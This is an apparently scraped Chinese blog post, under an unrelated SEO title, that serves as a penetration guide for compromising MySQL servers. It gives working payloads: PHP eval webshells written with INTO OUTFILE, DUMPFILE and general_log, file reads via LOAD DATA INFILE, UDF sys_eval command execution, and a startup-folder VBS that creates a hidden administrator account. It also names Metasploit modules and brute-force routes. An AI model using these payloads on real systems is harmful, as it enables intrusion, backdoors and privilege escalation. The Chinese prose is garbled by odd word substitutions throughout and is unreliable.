首页 » 网站推广 » php获取物理路径技巧_渗透mysql数据库总结

php获取物理路径技巧_渗透mysql数据库总结

访客 2024-11-04 0

扫一扫用手机浏览

文章目录 [+]

一、sqlshell获取

要利用mysql首先得拿到一个可以实行sql的mysql才能利用,下面就说一下几种常见姿势,欢迎补充。

php获取物理路径技巧_渗透mysql数据库总结

1、弱口令

php获取物理路径技巧_渗透mysql数据库总结
(图片来自网络侵删)

这个比较大略,网上工具很多如美杜莎,九头蛇这些比较有名的,msf也有相应的模块。
我自己之前也写过一个。
假如运气好的话直接跑到弱口令就直接进去,当然也可以合营社工字典来跑这样成功率更高。

2、文件读取漏洞

须要挖一个任意文件读取漏洞,然后利用读网站的配置文件,里面存放着数据库账号密码。

3、信息透露

扫目录扫网站备份文件,或者git透露

4、sql注入

这个不用多说,假如权限够大直接sqlmap os-shell一把梭

5、身份认证绕过漏洞(CVE-2012-2122)

受影响版本:

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

也便是说只要知道用户名,不断考试测验就能够直接登入SQL数据库。
按照公告说法大约256次就能够蒙对一次。

在msf里面有模块,可以直接用auxiliary/scanner/mysql/mysql_authbypass_hashdump来跑

当数据库不能外连可以通过以下方法开放外连(把稳防火墙):

可以修正host为%并刷新权限后,默认root等账号不许可远程连接

use mysql;update user set host = '%' where user = 'root';FLUSH PRIVILEGES ;select host, user from user;二、mysql拿shell

1、用命令直接导出shell

事理:利用导出命令来导出shell。

条件:

1. 须要知道网站的物理路径(绝对路径)

通过程序报错,日志透露,phpinfo,php探针等办法可以获取到物理路径。

2.许可导出

先查看是否许可导入导出

show variables like '%secure%'

secure_file_priv的值为null ,表示限定mysqld 不许可导入|导出

当secure_file_priv的值为/tmp/ ,表示限定mysqld 的导入|导出只能发生在/tmp/目录下,此时如果读写发生在其他文件夹,就会报告如下缺点:

RROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

当secure_file_priv的值没有详细值时,表示不对mysqld 的导入|导出做限定

如果条件都知足的话,就可以开始了

outfile

select '<?php eval($_POST[xxx]) ?>' into outfile '/var/www/xx.php';

dumpfile

select '<?php eval($_POST[xx]) ?>' into dumpfile '/var/www/xx.php';

把稳:outfile函数可以导出多行,而dumpfile只能导出一行数据outfile函数在将数据写到文件里时有分外的格式转换,而dumpfile则保持原数据格式

借助表导出。

Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES('<?php eval($_POST[xxx]) ?>');Select cmd from temp into out file '/var/www/xx.php';Drop TABLE IF EXISTS temp;

也可以用mysql 的 -e 参数

mysql -u user -p passwd -e "select '' into outfile '/var/www/xxx.php'"2、利用general_log拿shell

如果导入导出被禁用了就可以用这个方法试试。

事理:利用修正日志文件路径,昔日记文件写入一句话。

条件:

1.对应web目录有写权限

2.须要有物理路径

3.如果拿到的是注入,还须要能实行堆叠注入

4.root用户,或者有对应权限的用户

利用如下:开启日志,变动路径,把一句话写入日志文件。

set global general_log=on;set global general_log_file='/var/www/1.php';select '<?php eval($_POST[safe6]) ?>';三、任意文件读取

既然有文件导出,肯定也有文件导入。
关于任意文件读取怎么用,我之前总结过。

条件:和导出shell的条件一样。

利用:先创建一张表,读取文件内容到表。

createtablea(v text);

load data infile 'file_name' into table table_name fields terminated by '分隔符'

例如读text.txt:

load data infile 'C:/phpstudy/MySQL/test.txt' into table a fields terminated by ',';

查看内容

SELECT FROM a

四、mysql提权

先推举一个小工具https://github.com/T3st0r-Git/HackMySQL

1、mof提权

事理:

利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的韶光去实行一次的特性,来写入我们的cmd命令使其被带入实行。

条件:

1、mof提权的条件是root用户

2、可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下

利用:

网上工具大概多,可以直接用msf的exploit/windows/mysql/mysql_mof模块,实行成功后会直接反弹meterpreter。

2、udf提权

事理:

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。
用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

条件:

1、系统是Windows(Win2000,XP,Win2003);有一个mysql数据库的账户拥有insert和delete权限,以创建和抛弃函数。

2、Mysql版今年夜于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

3、Mysql版本小于5.1版本。
udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\

system32。

4、拥有相应目录的写权限

把稳:一样平常Lib、Plugin文件夹须要手工建立(也可用NTFS ADS流模式打破进而创建文件夹)

select @@basedir; //查找到mysql的目录select 'It is dll' into dumpfile 'C:\\ProgramFiles\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录select 'It is dll' into dumpfile 'C:\\ProgramFiles\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录

利用:

直接用msf的use exploit/multi/mysql/mysql_udf_payload模块.

msf会将dll文件写入lib\plugin\目录下(条件是该目录存在,如果该目录不存在的话,则无法实行成功),dll文件名为随机天生的名字(记下来后面手动创建须要用到)。
该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数实行并不会有回显。
我们可以手动创建 sys_eval() 函数,来实行有回显的命令。

手动创建sys_eval()

create function sys_eval returns string soname 'SGJECYG.dll';

实行手动创建的函数

select sys_eval('whoami');

检讨有没有创建成功

select from mysql.func where name = 'sys_eval';

删除函数

drop function sys_eval;

3、启动项提权

事理:实质还是用导出命令来实现,导出脚本到启动目录,做事看重启就实行脚本。

条件:上面说过了。

利用:

写个vbs到启动目录,想办法让做事看重启。

1,开始菜单当前用户启动文件夹--C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup2,开始菜单所有用户启动文件夹--C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp3,注册表当前用户开机启动项目录--HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run4,注册表所有用户开机启动项目录--HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

写脚本

createtablea(cmdtext);//创建表insertintoavalues("setwshshell=createobject(""wscript.shell"")");//写数据到表insertintoavalues("a=wshshell.run(""cmd.exe/cnetuseraabbcc123456/add"",0)");insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup administrators aabbcc/add"",0) " );select from a into outfile "C:\\Documents andSettings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";//导出vb

msf下也有对应模块exploit/windows/mysql/mysql_start_up

五、拓展

其他常用msf模块

exploit/windows/mysql/scrutinizer_upload_exec(上传文件实行)

auxiliary/scanner/mysql/mysql_hashdump(mysql的mysql.user表的hash)

auxiliary/admin/mysql/mysql_sql(实行sql语句,navicat更喷鼻香)

auxiliary/scanner/mysql/mysql_version(识别版本)

标签:

相关文章

PHP个税技巧_2019个税自动算税电子表格

操作流程1, 在表格里填写好白色人为部分(把稳:1,扣费扣除须要每月填写,由于须要整年每月累计 (把稳:2,五险一金,专项附加扣除...

网站推广 2024-12-08 阅读0 评论0